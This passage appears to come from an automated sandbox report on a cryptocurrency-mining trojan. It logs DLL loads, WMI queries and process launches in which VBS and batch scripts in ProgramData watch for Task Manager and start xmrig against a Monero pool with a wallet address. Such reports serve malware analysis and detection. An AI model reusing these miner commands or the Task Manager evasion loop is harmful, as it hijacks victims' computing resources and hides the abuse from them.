Source: C:\Windows\System32\tasklist.exe | Section loaded: userenv.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: profapi.dll | |
Source: C:\Windows\System32\find.exe | Section loaded: ulib.dll | |
Source: C:\Windows\System32\find.exe | Section loaded: fsutilext.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: mpr.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: framedynos.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: dbghelp.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: srvcli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: netutils.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: kernel.appcore.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: wbemcomn.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: winsta.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: amsi.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: userenv.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: profapi.dll | |
Source: C:\Windows\System32\find.exe | Section loaded: ulib.dll | |
Source: C:\Windows\System32\find.exe | Section loaded: fsutilext.dll | |
Source: C:\Windows\System32\timeout.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\timeout.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: mpr.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: framedynos.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: dbghelp.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: srvcli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: netutils.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: kernel.appcore.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: wbemcomn.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: winsta.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: amsi.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: userenv.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: profapi.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: mpr.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: framedynos.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: dbghelp.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: srvcli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: netutils.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: kernel.appcore.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: wbemcomn.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: winsta.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: amsi.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: userenv.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: profapi.dll | |
Source: C:\Windows\System32\find.exe | Section loaded: ulib.dll | |
Source: C:\Windows\System32\find.exe | Section loaded: fsutilext.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: mpr.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: framedynos.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: dbghelp.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: srvcli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: netutils.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: kernel.appcore.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: wbemcomn.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: winsta.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: amsi.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: userenv.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: profapi.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: mpr.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: framedynos.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: dbghelp.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: srvcli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: netutils.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: kernel.appcore.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: wbemcomn.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: winsta.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: amsi.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: userenv.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: profapi.dll | |
Source: C:\Windows\System32\find.exe | Section loaded: ulib.dll | |
Source: C:\Windows\System32\find.exe | Section loaded: fsutilext.dll | |
Source: C:\Windows\System32\timeout.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\timeout.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: mpr.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: framedynos.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: dbghelp.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: srvcli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: netutils.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: kernel.appcore.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: wbemcomn.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: winsta.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: amsi.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: userenv.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: profapi.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: mpr.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: framedynos.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: dbghelp.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: srvcli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: netutils.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: kernel.appcore.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: wbemcomn.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: winsta.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: amsi.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: userenv.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: profapi.dll | |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\wscript.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\wscript.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\timeout.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\cmd.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\cmd.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\find.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\timeout.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\wscript.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\cmd.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\find.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\find.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\timeout.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\cmd.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\find.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\timeout.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'XMRIG.EXE' |
Source: C:\Windows\System32\tasklist.exe | WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'TASKMGR.EXE' |
Source: unknown | Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe" | |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Drivers\winproc.vbs" | |
Source: C:\Windows\System32\wscript.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Drivers\watch.bat" " | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Drivers\1.vbs" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | |
Source: C:\Windows\System32\wscript.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Drivers\process.bat" " | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\ProgramData\Drivers\xmrig.exe xmrig.exe --donate-level 5 -o pool.supportxmr.com:443 -u 49LzTohDTP4MAvjfeeKB7pecfkp8MppQKZu5yjawPHfH2aJFbLhgV459XX9y3qoAmjJvxiewcw2bK2toFoMVEAQSLB878rm -k --tls -p speed | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: unknown | Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Drivers\winproc.vbs" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\wscript.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Drivers\watch.bat" " | |
Source: C:\Windows\System32\tasklist.exe | Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 | |
Source: C:\Windows\System32\tasklist.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | |
Source: C:\Windows\System32\tasklist.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | |
Source: C:\Windows\System32\tasklist.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | |
Source: C:\Windows\System32\tasklist.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\tasklist.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | |
Source: C:\Windows\System32\tasklist.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | |
Source: C:\Windows\System32\tasklist.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | |
Source: C:\Windows\System32\tasklist.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\tasklist.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Drivers\winproc.vbs" | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Drivers\watch.bat" " | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Drivers\1.vbs" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | Jump to behavior |
